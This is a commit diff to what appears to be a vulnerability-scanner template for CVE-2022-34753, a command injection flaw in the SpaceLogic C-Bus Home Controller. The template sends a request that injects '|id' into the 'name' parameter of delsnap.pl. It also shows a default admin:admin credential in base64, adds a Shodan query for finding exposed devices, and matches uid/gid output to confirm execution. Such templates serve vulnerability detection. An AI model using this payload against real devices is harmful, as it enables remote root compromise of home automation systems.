updated matcher, var input, added metadata

cves/2022/CVE-2022-34753.yaml

@@ -7,30 +7,26 @@ info:
   description: |
     A CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability exists that could cause remote root exploit when the command is compromised. Affected Products SpaceLogic C-Bus Home Controller (5200WHC2), formerly known as C-Bus Wiser Homer Controller MK2 (V1.31.460 and prior)
   reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2022-34753
     - https://www.zeroscience.mk/codes/SpaceLogic.txt
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-34753
   classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 8.8
     cve-id: CVE-2022-34753
-    cwe-id: CWE-78
-  tags: cve,cve2022,iot,schneider,rce,oast
+  metadata:
+    shodan-query: html:"SpaceLogic C-Bus"
+  tags: cve,cve2022,iot,spacelogic,rce,oast
 
 requests:
   - raw:
       - |
         GET /delsnap.pl?name=|id HTTP/1.1
         Host: {{Hostname}}
-        Authorization: Basic YWRtaW46YWRtaW4=
+        Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}
 
     matchers-condition: and
     matchers:
-      - type: word
-        part: body
-        words:
-          - "uid="
-          - "gid="
-        condition: and
+      - type: regex
+        regex:
+          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
 
       - type: status
         status: